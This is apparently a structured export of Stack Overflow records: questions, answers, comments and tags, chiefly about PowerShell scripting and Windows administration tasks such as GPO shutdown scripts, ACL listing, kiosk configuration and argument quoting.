http://stackoverflow.com/comment/139471513
type: AnswerComment
comment on: http://stackoverflow.com/a/79097306
type: Comment
has text: If the file is huge, it might be faster to do something like ```$firstLine = Get-Content -Path $file.FullName | select-object -First 1``` and checking if the first line starts with a hash sign - you’d avoid reading the entire file if you can exit early…
score: 0

http://stackoverflow.com/a/79141720
type: Answer
has body: I think Santiago covered the better ways to access those elements in your xml file. Another way to do this while still sticking with dot notation is to explicitly define the field from which you want the data. write-Host $xconf.Settings.Element1.'#text' This method explicitly grabs the #text property from the xml.
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/79141636
downvote count: 0

http://stackoverflow.com/comment/139515743
score: 0
has text: @ZiyangLiu-MSFT Updated initial message with PowerShell script
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79098114

http://stackoverflow.com/comment/139526069
type: Comment
score: 0
has text: Sorry - I made a correction - so I am just pulling two examples from the batch file. They are excerpts from (batch file 1: before replace), and after I run the code, that is what the resulting batch file looks like (batch file 1: after replace).
type: QuestionComment
comment on: http://stackoverflow.com/q/79126566

variable-assignment
type: Tag
tag name: variable-assignment
tags question: http://stackoverflow.com/q/79209007
tags question: http://stackoverflow.com/q/79265633

xmla
tag name: xmla
tags question: http://stackoverflow.com/q/79093149
type: Tag

http://stackoverflow.com/comment/139599646
score: 0
type: QuestionComment
has text: @MathiasR.Jessen Hi Mathias Thanks for your reply. Below is the powershell command. C:\Install\IMS\VeeamInstall\Setup\Silent\Veeam.Silent.Install.exe /AnswerFile C:\Install\IMS-Script\VbrAnswerFile_install.xml /SkipNetworkLogonErrors
comment on: http://stackoverflow.com/q/79166949
type: Comment

workflow
tag name: workflow
tags question: http://stackoverflow.com/q/79094130
type: Tag

http://stackoverflow.com/comment/139536812
has text: Two things: 1) PowerShell ISE is the opposite of "ultra-modern PowerShell", it was abandoned >5 years ago, and 2) it sounds more like ISE is having trouble with OneDrive's projected file system - does the problem go away if you wait a second and double-click the same file again? Does it ever occur with paths that have spaces but aren't part of your OneDrive clients target paths?
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79133521
score: 5

http://stackoverflow.com/comment/139693796
score: 4
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79219476
has text: Do you really start PowerShell 4 times to read the same yaml file? Why?

http://stackoverflow.com/comment/139536633
comment on: http://stackoverflow.com/a/79126797
type: Comment
has text: I am not sure why that was happening, but it is fixed now, I resolved the issue with @mklement0 - thank you!
score: 1
type: AnswerComment

http://stackoverflow.com/a/79232052
has comment: http://stackoverflow.com/comment/139720370
has comment: http://stackoverflow.com/comment/139721879
has comment: http://stackoverflow.com/comment/139722408
has comment: http://stackoverflow.com/comment/139720751
has comment: http://stackoverflow.com/comment/139717581
has comment: http://stackoverflow.com/comment/139722982
has comment: http://stackoverflow.com/comment/139723011
has comment: http://stackoverflow.com/comment/139723005
downvote count: 0
has comment: http://stackoverflow.com/comment/139722991
has comment: http://stackoverflow.com/comment/139722994
type: Answer
has body: You don't need a wrapper batch file in order to execute a PowerShell script on shutdown via the relevant GPO (Group Policy Object) at Computer Configuration\Windows Settings\Scripts (Startup/Shutdown), item Shutdown in the Group Policy Editor (invoke it with gpedit.msc): In the Properties dialog, there is a PowerShell Scripts tab, where you can directly specify a .ps1 file, which is implicitly invoked as: powershell.exe -ExecutionPolicy ByPass -File C:\path\to\your\script.ps1 Note: While it makes sense to place such script files in C:\Windows\System32\GroupPolicy\Machine\Scripts\Shutdown, doing so is not strictly required: you're free to reference script files in other locations. The invocation happens in the context of the built-in, highly privileged NT AUTHORITY\SYSTEM account, which, in effect, implicitly amounts to execution with elevation. Therefore, all you need to do is to directly pick your C:\Windows\System32\GroupPolicy\Machine\Scripts\Shutdown\changeComputerName.ps1 script as to be executed on shutdown, as described above. As for what you tried: Most likely, the only problem with your own approach was neglecting to use Start-Process's -Wait switch to ensure synchronous execution. While requesting elevation with -Verb RunAs quietly succeeds if the calling process itself is already elevated (i.e., no UAC dialog is triggered in that case), it still runs the process (in a new window and) asynchronously by default - except if -Wait is also specified. Thus, the asynchronously launched process may not have gotten a chance to execute before the shutdown was initiated. That said, it is much simpler to specify the target .ps1 directly - without the need for an explicit call to powershell.exe, the Windows PowerShell CLI, and a nested Start-Process call - as shown in the top section.
has comment: http://stackoverflow.com/comment/139720829
score: 1
answers question: http://stackoverflow.com/q/79230965
has comment: http://stackoverflow.com/comment/139722369
upvote count: 1
has comment: http://stackoverflow.com/comment/139722956

http://stackoverflow.com/comment/139719563
type: Comment
comment on: http://stackoverflow.com/a/79230278
score: 0
has text: Could you edit your question and add managed identity role assignments image from Portal?
type: AnswerComment

adb
tags question: http://stackoverflow.com/q/79106388
type: Tag
tag name: adb

http://stackoverflow.com/comment/139513477
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79120662
has text: Did you try `"${var1}..HEAD"`?

http://stackoverflow.com/comment/139515640
score: 0
comment on: http://stackoverflow.com/q/79121690
type: QuestionComment
has text: it's not the xxxxxxx part I was wondering about, it's the /jira/ part :)
type: Comment

http://stackoverflow.com/comment/139638921
comment on: http://stackoverflow.com/q/79189079
type: QuestionComment
type: Comment
score: 0
has text: It looks like you're looking for string formatting on your double value like: `'{0:0##,###,###.####}' -f 1.333`. Unclear how `1.333` becomes `...001.3332` (where is that `2` coming from) ?

http://stackoverflow.com/a/79111251
has comment: http://stackoverflow.com/comment/139508282
score: 0
answers question: http://stackoverflow.com/q/79110424
has body: Since this question is tagged with powershell, the equivalent of icacls is Get-Acl and Set-Acl. It is not clear what output is needed. Something like this will produce what icacls <filename> would produce. Get-ChildItem -Path $Env:USERPROFILE/test.txt | ForEach-Object { $Filename = $_.FullName $Accounts = ((Get-Acl -Path $Filename).AccessToString) -split '\n' foreach ($Account in $Accounts) { [PSCustomObject]@{ Filename = $Filename Account = $Account } } } Filename Account -------- ------- C:\Users\lit\test.txt NT AUTHORITY\SYSTEM Allow FullControl C:\Users\lit\test.txt BUILTIN\Administrators Allow FullControl C:\Users\lit\test.txt ZEP001\lit Allow FullControl All that needs to be done is to add an output destination. This produces a CSV file that can easily be opened as a spreadsheet. $PathToSearch = 'R:\' $OutputFile = "$Env:USERPROFILE/access_list.csv" Get-ChildItem -Recurse -Path $PathToSearch | ForEach-Object { $Filename = $_.FullName $Accounts = ((Get-Acl -Path $Filename).AccessToString) -split '\n' foreach ($Account in $Accounts) { [PSCustomObject]@{ Filename = $Filename Account = $Account } } } | Export-Csv -Path $OutputFile
has comment: http://stackoverflow.com/comment/139503667
type: Answer

http://stackoverflow.com/a/79172252
has comment: http://stackoverflow.com/comment/139616530
answers question: http://stackoverflow.com/q/79170631
score: 1
accepted answer of: http://stackoverflow.com/q/79170631
upvote count: 1
type: AcceptedAnswer
has body: CLARIFICATION: Write-Host doesn't send its output to the Success Stream but directly to the Host(usually the terminal) so Sort-Object receives nothing to sort. Original: As explained in the comments: the problem is Write-Host converting the elements to strings before sorting them. Also Write-Host is specifically used to send information to the user through the console, but it's mostly meant for strings. You might want to pipe the results to Format-Table or Format-List instead. Here a working example(with optimized production of the example code because your was really inefficient) $products = foreach ($i in 1..50) { $code = -join ((65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object { [char]$_ }) [PSCustomObject]@{ ProductId = $i ProductCode = $code } } $products | Sort-Object -Property ProductCode | Format-List this will return ProductId ProductCode --------- ----------- 36 AdmCc 42 BhQpU 37 BVSbw 24 cusnH 35 DsSrp 27 EWokb 30 fiuKF 5 gBmPA 21 gxnOe 39 HDgyr 48 hEwHA 8 hHSXE 6 HoTsJ 3 iLMUv 10 IWCru 14 iySPg 15 JgVyp 20 JlziB 18 jRfGo 44 JuAcq 33 kmZRO 43 KZTHp 47 lgumS 29 lKyZg 40 LqKFc 28 McGjW 16 mHvhg 38 nGBLm 32 nmekO 12 NRJvw 11 oZnRc 23 pbMvq 2 PLDgT 19 PoeXl 41 pSiDN 7 ptUfA 26 qxQSv 9 rCwnE 13 RMqFT 1 SPJrz 22 TDvWC 50 UFbuM 34 uVCIA 49 VvflM 25 vzpwT 45 wPJtp 31 WxcTk 4 XgFIG 17 xGrRz 46 XRTnr
type: Answer
has comment: http://stackoverflow.com/comment/139609144
downvote count: 0

security
tags question: http://stackoverflow.com/q/79186465
type: Tag
tags question: http://stackoverflow.com/q/79197594
tag name: security
tags question: http://stackoverflow.com/q/79183024
tags question: http://stackoverflow.com/q/79511439

http://stackoverflow.com/a/79243776
answers question: http://stackoverflow.com/q/79224704
accepted answer of: http://stackoverflow.com/q/79224704
type: AcceptedAnswer
score: 2
has body: For ExcludeObjectTypes you give list of values separated by semicolon which is a command separator for CMD and Powershell so the first ; breaks the command. Also /p parameters should not be quoted. Try /p:ExcludeObjectTypes='Logins;Users;etc' or split it into multiple params /p:ExcludeObjectType=Logins /p:ExcludeObjectType=Users we use multiple ExcludeObjectType params approach. Also I'd suggest to use single quote ' instead of &quot; for other parameter values like this: &quot;/SourceFile:'./$dacpacFile' /TargetConnectionString='$connectionString'&quot; to avoid possible ambiguity. Also to avoid ambiguity and improve readability I'd suggest to define params as an explicit array and convert it into string explicitly $arguments = @( '/Action:Extract', &quot;/SourceConnectionString`:'$sourceConnectionString'&quot;, &quot;/TargetFile`:'./$dacpacFile'&quot; ) -join ' ' note that : can be treated by Powershell string processor as a scope specifier so it should be escaped in double-quoted strings. Also you can use /Profile parameter which expects publish.xml file. Many options can be defined in such publish.xml file and the argument list for sqlpackage.exe can be reduced significantly. Most of connection string parameters and exclusions can be defined in there. For specific connection you'd need to provide /TargetServerName and /TargetDatabaseName only in CLI call. For troubleshooting your script you can add additional parameter /DiagnosticsLevel:Verbose
downvote count: 0
type: Answer
upvote count: 2

http://stackoverflow.com/q/79165077
tagged with: windows
has comment: http://stackoverflow.com/comment/139596126
has body: So I'm trying to set up a restricted user experience that allows the usage of only one application. However, I keep running into this weird error message that provides no useful information: Error I've been successful in getting the boilerplate example from the official Windows guide to work, so I'm fairly certain the error lies in how I've set up the AllowedApps and PinnedList. Perhaps in the path to the app? But I'm not sure how I'd go about changing that since I got the pathway from the task manager. Any help is appreciated! psexec.exe -i -s powershell.exe $assignedAccessConfiguration = @" <?xml version="1.0" encoding="utf-8"?> <AssignedAccessConfiguration xmlns="http://schemas.microsoft.com/AssignedAccess/2017/config" xmlns:rs5="http://schemas.microsoft.com/AssignedAccess/201810/config" xmlns:v3="http://schemas.microsoft.com/AssignedAccess/2020/config" xmlns:v5="http://schemas.microsoft.com/AssignedAccess/2022/config"> <App AppUserModelId="Microsoft.RemoteDesktop_10.2.3012.0_x64__8wekyb3d8bbwe" /> <v5:StartPins> { "pinnedList":[ {"packagedAppId":"Microsoft.RemoteDesktop_10.2.3012.0_x64__8wekyb3d8bbwe"}, ] } </v5:StartPins> <Taskbar ShowTaskbar="true" /> <AutoLogonAccount rs5:DisplayName="RDUSER" /> <DefaultProfile Id="{9A2A490F-10F6-4764-974A-43B19E722C24}" /> </AssignedAccessConfiguration> "@ $namespaceName="root\cimv2\mdm\dmmap" $className="MDM_AssignedAccess" $obj = Get-CimInstance -Namespace $namespaceName -ClassName $className $obj.Configuration = [System.Net.WebUtility]::HtmlEncode($assignedAccessConfiguration) Set-CimInstance -CimInstance $obj
type: Question
answer count: 0
tagged with: powershell
has title: Windows Restricted User Experience Set-CimInstance Error
tagged with: kiosk-mode
score: 0
type: UnansweredQuestion

acl
tag name: acl
tags question: http://stackoverflow.com/q/79140084
type: Tag
tags question: http://stackoverflow.com/q/79137119
tags question: http://stackoverflow.com/q/79179274
tags question: http://stackoverflow.com/q/79095704
tags question: http://stackoverflow.com/q/79291055
tags question: http://stackoverflow.com/q/79325773
tags question: http://stackoverflow.com/q/79528025

http://stackoverflow.com/comment/139655011
has text: As you correctly point out, the pattern `{*.ext1,*_ext2}` is clearly not being recognized. In fact, bash-like expressions such as `{*.x}` are not recognized by scp on my Linux system. Not sure what tool you were using before, but that must have been an extension. Use `scp user@remote:/.../'*.ext1'` plus `user@remote:/.../'*.ext2'` and you will be fine.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79198075
score: 0

http://stackoverflow.com/comment/139430193
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79072446
has text: @mklement0 My fault. I thought changing the Console encoding controlled how it was output to the console readout. Tweaking some other things, namely upgrading to PS7 and changing the `-Encoding` to `UTF8NoBOM` , as well as changing the save file encoding to UTF8BOM gave me the result I was hoping for. Thanks again.
type: QuestionComment

http://stackoverflow.com/q/79226757
tagged with: powershell
answer count: 1
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/139707083
score: 1
has comment: http://stackoverflow.com/comment/139707406
tagged with: wmi
upvote count: 1
accepted answer: http://stackoverflow.com/a/79284166
favorite count: 0
tagged with: provider
has answer: http://stackoverflow.com/a/79284166
type: Question
has body: I have installed an instance provider according to the following description: https://learn.microsoft.com/en-us/windows/win32/wmisdk/supplying-data-to-wmi-by-writing-a-provider It was registered with regsvr32 and an instance was created: #PRAGMA AUTORECOVER #PRAGMA NAMESPACE ("\\\\.\\Root\\MyNamespace") instance of __Win32Provider as $P { Name = "myprovider"; CLSID = "{014D660A-59C4-483F-9F99-1237308B8E98}"; }; instance of __InstanceProviderRegistration { Provider = $P; SupportsGet = TRUE; SupportsEnumeration = TRUE; SupportsPut = FALSE; SupportsDelete = FALSE; QuerySupportLevels; }; When I start the Windows Powershell with administrator rights and execute the following command, it fails: Get-WmiObject -Namespace "root/MyNamespace" -Class "MyInfoClass" Get-WmiObject : At line:1 char:1 + Get-WmiObject -Namespace "root/MyNamespace" -Class "MyInfoClass" + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : InvalidOperation: (:) [Get-WmiObject], COMException + FullyQualifiedErrorId : GetWMICOMException,Microsoft.PowerShell.Commands.GetWmiObjectCommand The event log says: Id = {ABDF9D5E-3FCE-000A-4B9F-DFABCE3FDB01}; ClientMachine = XYZ; User = XYZ\AnUser; ClientProcessId = 3884; Component = Unknown; Operation = Start IWbemServices::ExecQuery - root\MyNamespace: select * from MyInfoClass; ResultCode = 0x800706BE; PossibleCause = Unknown Based on the traces of my provider I can see that DllGetClassObject is called, the factory of type IClassFactory is created and the reference of the factory is set to 1 before it is returned. The last trace shows that the process WmiPrvSE.exe was terminated with 0xc0000005 (EXCEPTION_ACCESS_VIOLATION). The CreateInstance method of the factory is never called. Attempts with changed properties for __Win32Provider and __InstanceProviderRegistration did not help. Even repairing the WMI repository using ‘winmgmt /resetrepository’ did nothing. Does anyone have an idea where the problem could be? Update: Instead …
tagged with: c++
downvote count: 0
has title: wmi provider instance not created (ResultCode = 0x800706BE)

http://stackoverflow.com/comment/139644180
has text: Assign the **Application Administrator** role to that application, if you are using Identity method in automation account.
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79188856

http://stackoverflow.com/q/79238760
score: 2
upvote count: 2
downvote count: 0
tagged with: powershell
has answer: http://stackoverflow.com/a/79238804
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/79238804
has comment: http://stackoverflow.com/comment/139728180
has answer: http://stackoverflow.com/a/79238869
possible better answer: http://stackoverflow.com/a/79238869
answer count: 2
has title: How To Pass a DeviceID with curly brackets as an argument
favorite count: 0
has body: I am trying to pass a DeviceID into my Powershell script, but it keeps returning as a null value. The device ID is: {0.0.0.00000000}.{44c76b90-01ce-485c-8705-e93f9be4c435} When I pass it this way using my script: powershell.exe .\SwitchWindowsAudio.ps1 {0.0.0.00000000}.{44c76b90-01ce-485c-8705-e93f9be4c435} it will say that I have no arguments. If I encapsulate the device ID using single quotes or double quotes it detects an argument, but I cannot print it to the screen as a script, nor can I utilize it. If I try to run .GetType() or anything against it the program returns that it is a "null-valued expression". If I run AudioDeviceCmdlets' Get-AudioDevice -ID $args[0] using it, then it does not return a device. I am assuming that the curly brackets are doing something evil to the arguments list. Anyone have any experience with this or know how to pass it correctly? NOTE: I have also tried escape characters at each curly bracket to no success. This is driving me loopy! # Include Audio DLL try { Import-Module AudioDeviceCmdlets } catch { Install-Module -Name AudioDeviceCmdlets } # Troubleshooting Area ---------- Write-Host($args[0].GetType()) Write-Host($deviceID) Write-Host("Arguments passed: " + $args.Count.ToString()) # ------------------------------- # Verify Device ID was passed. if ($args.Count -lt 1) { Write-Host("Not enough arguments were supplied to continue.") Write-Host("Example: powershell.exe .\SwitchWindowsAudio.ps1 {0.0.0.00000000}.{44c76b90-01ce-485c-8705-e93f9be4c435}") exit 1 } if ($args.Count -gt 1) { Write-Host("Only one argument should be supplied.") Write-Host("Example: powershell.exe .\SwitchWindowsAudio.ps1 {0.0.0.00000000}.{44c76b90-01ce-485c-8705-e93f9be4c435}") exit 2 } # Check if valid ID was provided. try { $device = Get-AudioDevice -ID $args[0] } catch { Write-Host("A valid device ID was not provided.") Write-Host("Please check your device ID and try again.") exit 3 } # Set Audio Device Set-AudioDevice -ID $args[0]
type: Question
has comment: http://stackoverflow.com/comment/139728139

http://stackoverflow.com/comment/139537692
score: 0
has text: I know this is bad form to be off topic but consider using VSCode instead of PowerShell ISE. The ISE has many annoying features and vscode is better in pretty much every way. As for your question, this answer seems relevant: https://stackoverflow.com/questions/42160480/how-to-use-iuiautomation-in-powershell, there's not a powershell module for it, you have to manually import the underlying DLL, or use the accepted answer which has an alternative.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79133582

http://stackoverflow.com/comment/139661675
type: AnswerComment
has text: @PhysyCola ohh my bad, you are probably right those are treated as two separate connections... dang it.
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79198109

http://stackoverflow.com/q/79199384
type: Question
answer count: 0
has body: I am working on a solution that uses Azure Durable Functions to perform multiple parallel tasks in the ExchangeOnlineManagement module, collecting the Unified Audit Log to improve efficiency and speed up some long-running operations. Here is my current setup and challenge: Overall Goal: I want to use Azure Durable Functions to run activities in parallel, leveraging the ExchangeOnlineManagement module. However, the ExchangeOnlineManagement module has a limitation of allowing only 3-5 concurrent sessions at a time. Therefore, I need a way to ensure that I do not exceed this session limit while still running as many activities concurrently as possible to speed up processing. Current Workflow: HTTP Starter: I trigger the workflow with an HTTP request. Orchestrator: This function is designed to: Create "chunks" of tasks that can run concurrently. Limit the number of concurrent sessions to respect the Connect-Exchange restriction. Wait for a task to complete before starting a new one if the maximum concurrent limit is reached. Activities performing the tasks. (This part works) The challenge I am facing is how to effectively manage the parallelism in the orchestrator, such that it runs a maximum of 3-5 activities concurrently, waits for any of them to complete, and then starts a new one while maintaining an efficient workflow. My issue Where I'm stuck is trying to run tasks in parallel, but only 2-3 at a time, ensuring that I wait for one task to complete before starting the next. To track progress, I store the number of chunks to be processed, along with the counts for completed and remaining chunks, in variables. However, every time the orchestrator function restarts, these variables reset, causing all progress to be lost. I have tried several approaches, such as using Set-DurableCustomStatus and creating script level or global variables,only setting the variables when it's not a replay, but none have worked to maintain state across orchestrator replays. How would I keep…
has title: How to Implement Controlled Parallelism with Azure Powershell Durable Functions to Work with Exchange Module Session Limits?
tagged with: azure-durable-functions
tagged with: powershell
has comment: http://stackoverflow.com/comment/139658045
score: 0
type: UnansweredQuestion
tagged with: azure-functions
has comment: http://stackoverflow.com/comment/139657770

http://stackoverflow.com/comment/139577612
score: 0
has text: Same issue are updating the endpoint url also
type: AnswerComment
comment on: http://stackoverflow.com/a/79136206
type: Comment

module
tags question: http://stackoverflow.com/q/79239103
tag name: module
type: Tag
tags question: http://stackoverflow.com/q/79167030
tags question: http://stackoverflow.com/q/79137830
tags question: http://stackoverflow.com/q/79338576
tags question: http://stackoverflow.com/q/79318169
tags question: http://stackoverflow.com/q/79284301
tags question: http://stackoverflow.com/q/79474431
tags question: http://stackoverflow.com/q/79449002

http://stackoverflow.com/a/79161743
type: Answer
score: 0
answers question: http://stackoverflow.com/q/79160366
has body: A little tweak to your code and adding the -Force switch on the Copy-Item cmdlet eliminates the error reading 'Projects' folder already existing in the destination path. $sourcePath = "C:\Users\public" $DestinationPath = "Z:\" Get-ChildItem $sourcePath -Directory -Recurse -Filter "Projects" | ForEach-Object { Copy-Item $_.FullName -Destination $DestinationPath -Recurse -Force }

http://stackoverflow.com/comment/139598704
type: AnswerComment
has text: @SantiagoSquarzon, You are correct. It turns out I only had problems with the special character in the password while I was hard coding it within the script for testing.
comment on: http://stackoverflow.com/a/79164563
type: Comment
score: 0

http://stackoverflow.com/comment/139664127
comment on: http://stackoverflow.com/q/79202910
has text: Why are you using all those `Add-Member` instead of just creating the object with those properties? Especially with `$siteAccessItem`
type: QuestionComment
type: Comment
score: 0

vba
tag name: vba
tags question: http://stackoverflow.com/q/79131331
type: Tag
tags question: http://stackoverflow.com/q/79398108

http://stackoverflow.com/a/79166988
score: -1
answers question: http://stackoverflow.com/q/79163395
has body: Is this solution not good for you to keep helper scripts like helper_scripts/script.ps1 in a separate repository, e.g. pipelinesCommonRepo, and every pipeline in any repo in any project refer to it? In this case pipelines remain in their repos and any pipeline needs to checkout pipelinesCommonRepo besides its repo. (This solution is near to @shamrai-aleksander but it differs in remaining pipeline definitions in their repo). helper_scripts in pipelinesCommonRepo pipeline1.yaml in Repo1 (Project1) - checkout: self - checkout: pipelinesCommonRepo pipeline2.yaml in Repo2 (Project2) - checkout: self - checkout: pipelinesCommonRepo
type: Answer
downvote count: 1
upvote count: 0

http://stackoverflow.com/a/79186893
type: Answer
upvote count: 2
answers question: http://stackoverflow.com/q/79186465
score: 2
has body: There are a couple of potential issues here: Comparison to today's date The InstalledOn property gives you a date when the update was installed, but you are not comparing this with today's date. Perhaps this is what you want: ((Get-Date) - $WUpdateResult).Days -lt 30 If expression Additionally $WUR30Days = "False" just assigns the value "False" to the variable WUR30Days - try this instead: $WUR30Days -eq $false or, even simpler, try: -not $WUR30Days Example of assignment operator (=) instead of (-eq) in if expression This snippet shows how the single equals sign is confusing when used in if expressions: $ThisIsDefinitelyFalse = $(get-date).Day -gt 100 Write-Host $ThisIsDefinitelyFalse Write-Host $ThisIsDefinitelyFalse.GetType() if ($ThisIsDefinitelyFalse = "False") { Write-Host "WTF?!" } if ($ThisIsDefinitelyFalse = "True") { Write-Host "WTF?!?!" } Write-Host $ThisIsDefinitelyFalse Write-Host $ThisIsDefinitelyFalse.GetType() The output is: False System.Boolean WTF?! WTF?!?! True System.String The expressions inside the if statements return what is being passed through (either "True" or "False") - both of which are converted to $true when subject to Boolean evaluation (try: if ("False") { write-host "?"}). You can also see that the variable used to be a Boolean, and has now changed to a string. This expression inside the if updated the value of the variable: $ThisIsDefinitelyFalse = "True"
downvote count: 0
has comment: http://stackoverflow.com/comment/139635057

http://stackoverflow.com/q/79189293
has comment: http://stackoverflow.com/comment/139639451
answer count: 2
has answer: http://stackoverflow.com/a/79189592
type: Question
linked to: http://stackoverflow.com/q/70175444
has title: netstat -b equivalent with Powershell
has body: I am looking for equivalent to netstat -b written in Powershell. Microsoft writes: Displays the executable involved in creating each connection or listening port. In some cases well-known executables host multiple independent components, and in these cases the sequence of components involved in creating the connection or listening port is displayed. In this case the executable name is in [] at the bottom, on top is the component it called, and so forth until TCP/IP was reached. Note that this option can be time-consuming and will fail unless you have sufficient permissions. (https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/netstat) For example the EventLog listening port is display with netstat -anb like this, stating that the process name is svchost.exe and the calling component is EventLog. TCP 0.0.0.0:49665 0.0.0.0:0 LISTENING EventLog [svchost.exe] This Powershell function outputs all listening processes: function Get-ListeningProcesses { Get-NetTCPConnection -State Listen | ForEach-Object { $ProcessName = (Get-Process -Id $_.OwningProcess).ProcessName [PSCustomObject]@{ LocalAddress = $_.LocalAddress LocalPort = $_.LocalPort OwningProcess = $_.OwningProcess ProcessName = $ProcessName } } } The output will be: LocalAddress LocalPort OwningProcess ProcessName ------------ --------- ------------- ----------- ... :: 49665 1412 svchost ... But how can I get the component that started svchost.exe?
has comment: http://stackoverflow.com/comment/139639603
downvote count: 0
tagged with: powershell
has comment: http://stackoverflow.com/comment/139639471
tagged with: netstat
has comment: http://stackoverflow.com/comment/139639392
has comment: http://stackoverflow.com/comment/139639422
has answer: http://stackoverflow.com/a/79195116
type: UnansweredQuestion
score: 1
has comment: http://stackoverflow.com/comment/139639432
has comment: http://stackoverflow.com/comment/139640038
upvote count: 1
favorite count: 0

http://stackoverflow.com/comment/139621289
score: 0
type: AnswerComment
has text: Screens == monitors == displays in the WinForms API. There's no such thing as multiple screens per monitor.
type: Comment
comment on: http://stackoverflow.com/a/79177773

http://stackoverflow.com/q/79114767
favorite count: 0
tagged with: http://stackoverflow.com/tag/csv
has comment: http://stackoverflow.com/comment/139504635
score: 1
type: Question
upvote count: 1
has title: Logging from existing CSV and script to CSV - PowerShell
has answer: http://stackoverflow.com/a/79216426
answer count: 1
downvote count: 0
tagged with: powershell
has body: I'm trying to build some logging with trackers for a process here. The logging will take data from an existing CSV, data from the script output, and compare them so that if there is a duplicate it will add to the tracker and if there is a unique output, it will add it to the new csv line. $APIData = $APIData.LIST $CSVHistory = @() $file = $filepath $CSVHistoryFromFile = Import-CSV -Path $file $TrackingData = $CSVHistoryFromFile | ForEach-Object { "$($_.City);$($_.State);$($_.TicketCount);$($_.Price)" } $ScriptData = $APIData | ForEach-Object { "$($_.City);$($_.State);$($_.TicketCount);$($_.Price)" } foreach ($object in $APIData) { $APITemp = "$($object.City);$($object.State);$($object.TicketCount);$($object.Price)" if ($APITemp -notin $TrackingData) { $CSVHistory += [PSCustomObject]@{ City = $object.City State = $object.State TicketCount = $object.TicketCount Price = $object.Price Total = 1 LogTime = $currentDate LastDeleted = $currentDate } } else { $RepeatData = $CSVHistoryFromFile | Where-Object { "$($_.City);$($_.State);$($_.TicketCount);$($_.Price)" -eq $APITemp } $total = [int]$RepeatData.Total $CSVHistory += [PSCustomObject]@{ City = $RepeatData.City State = $RepeatData.State TicketCount = $RepeatData.TicketCount Price = $RepeatData.Price Total = $total++ LogTime = [datetime]$RepeatData.LogTime LastDeleted = $currentDate } } } $CSVHistory += $CSVHistoryFromFile | Where-Object { "$($_.City);$($_.State);$($_.TicketCount);$($_.Price)" -notin $ScriptData } $CSVHistory | Export-CSV -Path $file -NoTypeInformation This logs but does not properly append and track ($total++) data.
type: UnansweredQuestion
tagged with: logging

http://stackoverflow.com/comment/139541351
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79135883
has text: I have not run in graph explorer. I am trying to do it via powershell
type: QuestionComment

validation
tags question: http://stackoverflow.com/q/79149903
type: Tag
tag name: validation

character-encoding
type: Tag
tags question: http://stackoverflow.com/q/79105294
tag name: character-encoding
tags question: http://stackoverflow.com/q/79430388

http://stackoverflow.com/q/79141674
score: 0
has comment: http://stackoverflow.com/comment/139551973
tagged with: windows
type: Question
has title: Windows: Resolves path with .. appended to directory name
answer count: 1
accepted answer: http://stackoverflow.com/a/79141731
has body: This project I'm working on has some Windows Perl code that sets a path to dirname(__FILE__) . &quot;../../../../&quot;. This code has been working for a couple years now, but I realized that it should actually be 3 ..s: dirname(__FILE__) . &quot;/../../../&quot; to get the path we need. The path indeed resolves to the correct location though. The way the path is put together in Perl is ..\dir1\dir2../../../../. The dir2.. does not look right, but: &gt; Test-Path ..\dir1\dir2.. True &gt; Test-Path ..\dir1\dir2..\ False &gt; Test-Path ..\dir1\dir2..\..\ True How is PowerShell resolving the path here? Command Prompt shows the same behavior.
tagged with: powershell
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/79141731
tagged with: powershell-7

http://stackoverflow.com/comment/139539432
comment on: http://stackoverflow.com/a/79127010
type: Comment
has text: Interesting, @Bbb - I cannot get it to fail, but there are not many shares I can test with. I wonder if there's a timing issue when you first access a given share and whether running something like `$null = Get-Item '\\share\directory\'` first makes a difference.
score: 0
type: AnswerComment

http://stackoverflow.com/a/79145056
has body: I have no doubt there is a better way but this seems to match your example: Where-Object { $_ -match '^(?!.*user).*error.*' } it will pass only the lines which do not match the word user anywhere but match the word error https://regex101.com/r/9kFxBt/1
score: 0
answers question: http://stackoverflow.com/q/79144958
has comment: http://stackoverflow.com/comment/139557791
has comment: http://stackoverflow.com/comment/139557941
type: Answer

http://stackoverflow.com/a/79148599
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/79148127
type: Answer
has body: The equivalent of the following cmd.exe command line: :: cmd.exe (batch file) tshark -r a.pcapng -Y "http.request.uri == \"/test.php\" || http.response" is (applies analogously to all calls to external programs): in PowerShell (Core) 7 v7.3+: # PowerShell 7.3+ tshark -r a.pcapng -Y "http.request.uri == `"/test.php`" || http.response" That is, in order to embed " characters inside a "..." (expandable) string, you must escape them as `", i.e. using the so-called backtick, PowerShell's escape character. Note: Since your call doesn't require expansion (string interpolation), you could switch to a '...' (verbatim) string in which case the embedded " don't require escaping: # PowerShell 7.3+ tshark -r a.pcapng -Y 'http.request.uri == "/test.php" || http.response' Behind the scenes, when calling an external program such as tshark, PowerShell (.NET) by default ensures that the embedded " is then escaped as \" when it constructs the process command line, because that's the form of escaping most widely used by CLIs on Windows. This behavior is controlled by the $PSNativeCommandArgumentPassing preference variable, whose default value on Windows, 'Windows', makes selective exceptions for the sake of backward compatibility; you can disable these exceptions ('Standard'), or you can categorically opt into the old, broken behavior ('Legacy') - see next point. In Windows PowerShell (the legacy, ships-with-Windows, Windows-only edition of PowerShell whose latest and last version is 5.1) and PowerShell (Core) 7 up to v7.2.x, the \-escaping for external programs must unfortunately be performed manually, potentially in addition to PowerShell's own escaping, due to a long-standing bug: # Windows PowerShell and PowerShell 7.2- tshark -r a.pcapng -Y "http.request.uri == \`"/test.php\`" || http.response" # With a verbatim string. tshark -r a.pcapng -Y 'http.request.uri == \"/test.php\" || http.response' See this answer for more information.
